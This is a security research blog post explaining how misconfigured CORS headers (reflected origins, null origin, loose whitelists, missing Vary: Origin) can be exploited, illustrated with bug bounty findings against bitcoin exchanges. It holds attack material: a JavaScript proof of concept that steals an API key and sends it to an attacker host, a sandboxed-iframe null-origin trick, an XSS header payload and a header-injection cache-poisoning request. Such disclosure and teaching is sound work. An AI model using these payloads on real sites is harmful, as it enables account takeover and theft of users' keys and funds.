Published: 14 October 2016 at 16:30 UTC
Updated: 16 August 2022 at 09:24 UTC
(or CORS misconfiguration misconceptions)
In this post, I'll show how to identify and exploit misconfigured CORS. This is a greatly condensed version of my AppSec USA talk. If you have time (or struggle to understand anything) I highly recommend checking out the slides and watching the video. I also recommend our free interactive CORS labs.
Cross-Origin Resource Sharing (CORS) is a technology used by websites to make web browsers relax the Same Origin Policy, enabling cross-domain communication between different websites. It's frequently used by web APIs in particular, but in a modern complex website it can turn up anywhere. It’s widely understood that certain CORS configurations are dangerous, but some associated subtleties and implications are easily misunderstood. In this post I’ll show how to critically examine CORS configurations from a hacker’s perspective, and steal bitcoins.
Websites enable CORS by sending the following HTTP response header:
Access-Control-Allow-Origin: https://example.com
This permits the listed origin (domain) to make visitors’ web browsers issue cross-domain requests to the server and read the responses - something the Same Origin Policy would normally prevent. By default this request will be issued without cookies or other credentials, so it can’t be used to steal sensitive user-specific information like CSRF tokens. The server can enable credential transmission using the following header:
Access-Control-Allow-Credentials: true
This creates a trust relationship - an XSS vulnerability on example.com is bad news for this site.
Trusting a single origin is easy. What if you need to trust multiple origins? The specification suggests that you can simply specify a space-separated list of origins, eg:
Access-Control-Allow-Origin: http://foo.com http://bar.net
However, no browsers actually support this.
You might also want to use a wildcard to trust all your subdomains, by specifying something like:
Access-Control-Allow-Origin: *.portswigger.net
But that won't work either. The only wildcard origin is '*'
There's a hidden safety catch in CORS, too. If you try to disable the SOP entirely and expose your site to everyone by using the following terrifying looking header combination:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Then you’ll get the following error in your browser console:
Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.
This exception is mentioned in the specification, and also backed up by Mozilla’s documentation:
When responding to a credentialed request, server must specify a domain, and cannot use wild carding
In other words, using a wildcard effectively disables the Allow-Credentials header.
As a result of these limitations, many servers programmatically generate the Access-Control-Allow-Origin header based on the user-supplied Origin value. This is the single most common CORS vulnerability. If you see a HTTP response with any Access-Control-* headers but no origins declared, this is a strong indication that the server will generate the header based on your input. Other servers will only send CORS headers if they receive a request containing the Origin header, making associated vulnerabilities extremely easy to miss.
So, plenty of websites derive allowed origins from user input. What could possibly go wrong? I decided to assess a few bug bounty sites and find out. Note that as these sites all have bug bounty programs, every vulnerability I mention has been missed by numerous other bounty hunters.
I quickly replicated Evan Johnson's finding that many applications make no attempt to validate the origin before reflecting it, and identified a vulnerable bitcoin exchange (which sadly prefers to remain unnamed):
GET /api/requestApiKey HTTP/1.1
Host: <redacted>
Origin: https://fiddle.jshell.net
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://fiddle.jshell.net
Access-Control-Allow-Credentials: true
{"[private API key]"}
Making a proof of concept CORS exploit to steal users' private API keys was trivial:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
After retrieving a user's API key, I could disable account notifications, enable 2FA to lock them out, and transfer their bitcoins to an arbitrary address. That’s pretty severe for a header misconfiguration. Resisting the urge to take the bitcoins and run, I reported this to their bug bounty program and it was patched within an astounding 20 minutes.
Some websites make classic URL parsing mistakes when attempting to verify whether an origin should be trusted. For example, a site which I'll call advisor.com trusts all origins that ended in advisor.com, including definitelynotadvisor.com. Even worse, a second bitcoin exchange (let's call it btc.net) trusted all Origins that started with https://btc.net, including https://btc.net.evil.net. Unfortunately the site unexpectedly and permanently ceased operations before I could build a working proof of concept. I won't speculate as to why.
If you were paying close attention earlier, you might have wondered what the 'null' origin is for. The specification mentions it being triggered by redirects, and a few stackoverflow posts show that local HTML files also get it. Perhaps due to the association with local files, I found that quite a few websites whitelist it, including Google's PDF reader:
GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
and a certain third bitcoin exchange. This is great for attackers, because any website can easily obtain the null origin using a sandboxed iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>’></iframe>
Using a sequence of CORS requests, it was possible to steal encrypted backups of users' wallets, enabling an extremely fast offline brute-force attack against their wallet password. If anyone's password wasn't quite up to scratch, I'd get their bitcoins.
This particular misconfiguration is surprisingly common - if you look for it, you'll find it. The choice of the keyword 'null' is itself a tad unfortunate, because failing to configure an origin whitelist in certain applications may result in...
Access-Control-Allow-Origin: null
Oops.
Most websites use basic string operations to verify the Origin header, but some parse it as a URL instead. Three years after this research was initially published, Bitwis3 shared a technique to exploit parsers that takes advantage of Safari's tolerance for unusual characters in domain names. In Safari, this is a valid URL - try copy&pasting it:
http://example.com%60.hackxor.net/static/cors.html
And the CORS request originating from that URL contains:
Origin: http://example.com`.hackxor.net/
If a site chooses to parse this header, it will potentially think that the hostname is example.com and reflect it, letting us exploit Safari users even though the site is using a whitelist of trusted hostnames. After receiving the tipoff from Bitwis3, I personally tried this technique out in the wild and confirmed that it works on a range of real systems.
If you find that you can use _ instead of ` then you can also exploit people using Firefox and Chrome - this technique is documented in more depth in Advanced CORS Exploitation Techniques.
During this research I found two other prevalent whitelist implementation flaws, which often occur at the same time. The first is blindly whitelisting all subdomains - even non-existent ones. Many companies have subdomains pointing to applications hosted by third parties with awful security practises. Trusting that these don't have a single XSS vulnerability and never will in future is a really bad idea.
The second common error is failing to restrict the origin protocol. If a website is accessed over HTTPS but will happily accept CORS interactions from http://wherever, someone performing an active man-in-the-middle (MITM) attack can pretty much bypass its use of HTTPS entirely. Strict Transport Security and secure cookies will do little to prevent this attack. Check out the presentation recording when it lands for a demo of this attack.
We've seen that with credentials enabled, CORS can be highly dangerous. Without credentials, many attacks become irrelevant; it means you can't ride on a user's cookies, so there is often nothing to be gained by making their browser issue the request rather than issuing it yourself. Even token fixation attacks are infeasible, because any new cookies set are ignored by the browser.
One notable exception is when the victim's network location functions as a kind of authentication. You can use a victim’s browser as a proxy to bypass IP-based authentication and access intranet applications. In terms of impact this is similar to DNS rebinding, but much less fiddly to exploit.
If you take a look at the 'Implementation Considerations' section in the CORS specification, you'll notice that it instructs developers specify the 'Vary: Origin' HTTP header whenever Access-Control-Allow-Origin headers are dynamically generated.
That might sound pretty simple, but immense numbers of people forget, including the W3C itself, leading to this fantastic quote:
I must say, it doesn't make me very confident that soon more sites will be supporting CORS if not even the W3C manages to configure its server right- Reto Gmür
What happens if we ignore this advice? Mostly things just break. However, in the right circumstances it can enable some quite serious attacks.
You may have occasionally encountered a page with reflected XSS in a custom HTTP header. Say a web page reflects the contents of a custom header without encoding:
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert(1)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert(1)>
Without CORS, this is impossible to exploit as there’s no way to make someone’s browser send the X-User-id header cross-domain. With CORS, we can make them send this request. By itself, that's useless since the response containing our injected JavaScript won't be rendered. However, if Vary: Origin hasn't been specified the response may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL. I've made a fiddle to attempt this attack on a URL of your choice. Since this attack uses client-side caching, it's actually quite reliable.
If the stars are aligned we may be able to use server-side cache poisoning via HTTP header injection to create a stored XSS vulnerability.
If an application reflects the Origin header without even checking it for illegal characters like \r, we effectively have a HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer sees the response as:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
This isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but I can manually craft this request in Burp Suite and a server-side cache may save the response and serve it to other people. The payload I've used will change the page's character set to UTF-7, which is notoriously useful for creating XSS vulnerabilities.
I was initially surprised by the number of sites that dynamically generate Access-Control-Allow-Origin headers. The root cause of this behavior may be two key limitations of CORS - multiple origins in a single header aren't supported, and neither are wildcarded subdomains. This leaves many developers with no choice but to do dynamic header generation, risking all the implementation flaws discussed above. I think that if the specification authors and browsers decided to allow origin lists and partial wildcards, dynamic header generation and associated vulnerabilities would plummet.
Another potential improvement for browsers is to apply the wildcard+credentials exception to the null origin. At present, the null origin is significantly more dangerous than the wildcard origin, something I imagine a lot of people find surprising.
Something else browsers could try is blocking what I've coined "reverse mixed-content" - HTTP sites using CORS to steal data from HTTPS sites. I have no idea what scale of breakage this would cause, though.
Simplicity and security may go hand in hand but by neglecting to support multiple origin declarations, web browsers have just pushed the complexity onto developers with harmful results. I think the main take-away from this is that secure specification design and implementation is fiendishly difficult.
CORS is a powerful technology best used with care, and severe exploits don't always require specialist skills and convoluted exploit chains - often a basic understanding of a specification and a little attentiveness is all you need. In case you're running low on coffee, as of today Burp Suite's scanner will identify and report all the flaws discussed here.
Update: We have now released a collection of free, interactive labs so you can practice exploiting these vulnerabilities on live systems:
CORS Misconfiguration Labs